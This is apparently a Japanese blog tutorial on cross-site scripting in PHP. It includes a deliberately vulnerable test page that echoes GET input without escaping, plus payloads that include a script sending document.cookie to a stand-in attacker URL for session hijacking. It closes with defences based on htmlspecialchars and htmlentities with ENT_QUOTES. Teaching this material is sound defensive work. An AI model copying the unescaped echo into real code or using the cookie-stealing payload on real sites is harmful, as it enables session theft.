PHPを使ってWEBアプリケーションの脆弱性を確認する[クロスサイトスクリプティング(XSS)]

4 min read読了の目安(約4000字

はじめに

エンジニアの皆様、脆弱性を正しく対策をしながらWEBアプリケーションを開発してますでしょうか? 作成したコードに[クロスサイトスクリプティング(XSS)]が含まれていると、勝手にプログラムを動かされたりフィッシング詐欺やウイルスの発信元になったり、他サイトへの攻撃の踏み台として使われたり、個人情報が盗まれる情報漏洩)に繋がります。

今回は[クロスサイトスクリプティング(XSS)]をPHPのコードを使用して試したいと思います。
※クロスサイトスクリプティングはブラウザで動くスクリプトを利用した攻撃です。ブラウザでのスクリプト実行はJavaScriptを使用します。

確認する環境について

本記事の確認は下記の環境をローカルに作成して行いました。

Windows10/WSL2(Ubuntu 20.04.2 LTS) + Apache 2.4.41 + PHP 7.4.3 + MariaDB 10.3.25

クロスサイトスクリプティング(XSS)とは?

クロスサイトスクリプティング(Cross Site Scripting)はXSSと省略されます。

Crossなのに「C」ではなく「X」と省略するのは X(エックス)がCross(交差)を表現する際に使われるのに由来するようです。「CSS」と省略されなくて本当によかったです。

クロスサイトスクリプティングを悪用すると「ブラウザ上で攻撃者の用意したスクリプトが実行される」事が可能となります。偽のフォームを表示して個人情報を入力させたり、JavaScriptを使用する事で攻撃者のサーバにリクエストを送ったりもできますので、応用すると色々と出来そうな感じがします。

クロスサイトスクリプティング 確認コード

さっそくですがPHPのコードで確認してみたいと思います。
フォームに入力された文字列を表示(実行)させるPHPのコードです。

xss_check_code.php
<?php
session_start();
?>
<html>
<head>
<title>クロスサイトスクリプティング確認</title>
</head>
<body>
<br />
<div>攻撃コード入力フォーム</div>
<form method="get">
<input type="text" name="atk"></input>
<input type="submit"></input>
</form>
--------<br />
実行コード<br />
--------<br />
<?php echo htmlspecialchars($_GET['atk']); ?><br />
--------<br />
実行内容<br />
--------<br />
<?php echo $_GET['atk']; ?><br />
--------<br />
</body>
</html>

フォームにコードを入力して実行結果を確認してみます。

下記のコードでは「攻撃者のサーバにcookieの入ったリクエストを送る」という攻撃パターンを確認します。

alret()が実行できるか確認する

<script>alert('test');</script>

alert()にcookieを表示する

<script>alert(document.cookie);</script>


※PHPSESSIDの値はモザイクをかけています。

画面遷移+奪取したcookieをパラメータに付加する

今回は確認しやすいようにwindows.open()を使用しています。実行時にポップアップの警告が出ますので許可すると新しいウィンドウでURLが開かれます。

<script>window.open('http://localhost/?cookie='+document.cookie);</script>


攻撃者のサイトに遷移させる事でクッキーを確認する手法です。攻撃者が対象者のクッキーを知れば「セッションハイジャック攻撃」が狙えるようになります。

クロスサイトスクリプティングの確認方法

クロスサイトスクリプティングの確認は入力可能なフォームを見たら「<script>alert();</script>」を入れて送信する事がアナログですが有効な確認方法です。攻撃者は公開されているフォーム部品にツールを使用して脆弱性が無いか確認してきます。エスケープなどの対策を忘れている箇所が1つでも発見されると脆弱性が生まれている事になります。

※ブラウザの機能でもHTMLの改ざんは容易です。テキスト以外のフォーム部品もValue値が変更されるなど改ざんされる可能性があります。入力された値をデータベースに格納するパターンなど、攻撃手法に合わせて全てのフォーム部品に対策を考える必要があります

クロスサイトスクリプティングの対策は?

それではクロスサイトスクリプティングは、どう対策をすれば良いのでしょうか?
スクリプトの実行にブラウザを使うため、ブラウザに渡す前にブラウザで使われる符号を無効化する事が重要です。PHPの場合は「htmlspecialchars()」もしくは「htmlentities()」を使用してブラウザに渡す事が必要です。

「htmlspecialchars()」「htmlentities()」の両方ともデフォルトのままではシングルクォートはエスケープされません。必ず第二引数に「ENT_QUOTES」を付けてダブルクォート・シングルクォートの両方が変換の対象となるようにしましょう

htmlspecialchars()とhtmlentities()の違い

PHPマニュアル
htmlspecialchars()
htmlentities()

htmlspecialchars()とhtmlentities()は似たような動きをしますが、大きな違いは
htmlspecialchars()は「&」「" 」「'」「<」「> 」しか変換対象になりません。htmlentities()は変換可能な符号が対象となるため変換する対象が多くなります。

実際にhtmlspecialchars()とhtmlentities()を動かして確認してみます。

$txt = "「&」「\"」「'」「<」「>」「©」「≠」「→」「⇔」";
echo "htmlspecialchars()\n";
echo htmlspecialchars($txt, ENT_QUOTES);
echo "\nhtmlentities()\n";
echo htmlentities($txt, ENT_QUOTES);


htmlentities()の方が、より多くの符号をエスケープしますので用途によって使い分けをすると良いでしょう。

まとめ

インターネット上にひとたびWEBサイトを公開すると脆弱性を狙った攻撃を不特定多数から受け続ける事になります。そして、攻撃者は常にアプリケーションの脆弱性を狙っています。情報漏洩がひとたび発生すれば対応などの直接的な被害だけでなく会社全体が信用を失う事となり、それを取り戻すためにかかる費用は計り知れません。
クロスサイトスクリプティングの悪用の手法を知らなければ、試しに「alert()」を入力してみたら成功したけど「alert()」だけでは何もできないので対策しなくて大丈夫。なんて根拠の無い自信を持ってしまったり 「社内からしか接続できないシステムでIP制限がかかっているので大丈夫」とか「WAFが入っているから脆弱性対策は大丈夫」という想定は、個人的にですが甘くて安易であると思います。エスケープの漏れがたった1か所あるだけでもサイト・システム全体に対する信頼性は失われます。脆弱性は正しく漏れなく対策を講じていく必要を感じます。

以上、PHPを使ってWEBアプリケーションの脆弱性を確認する[クロスサイトスクリプティング(XSS)] でした。いかがでしたでしょうか。脆弱性は正しく理解して対策していきたいと思います。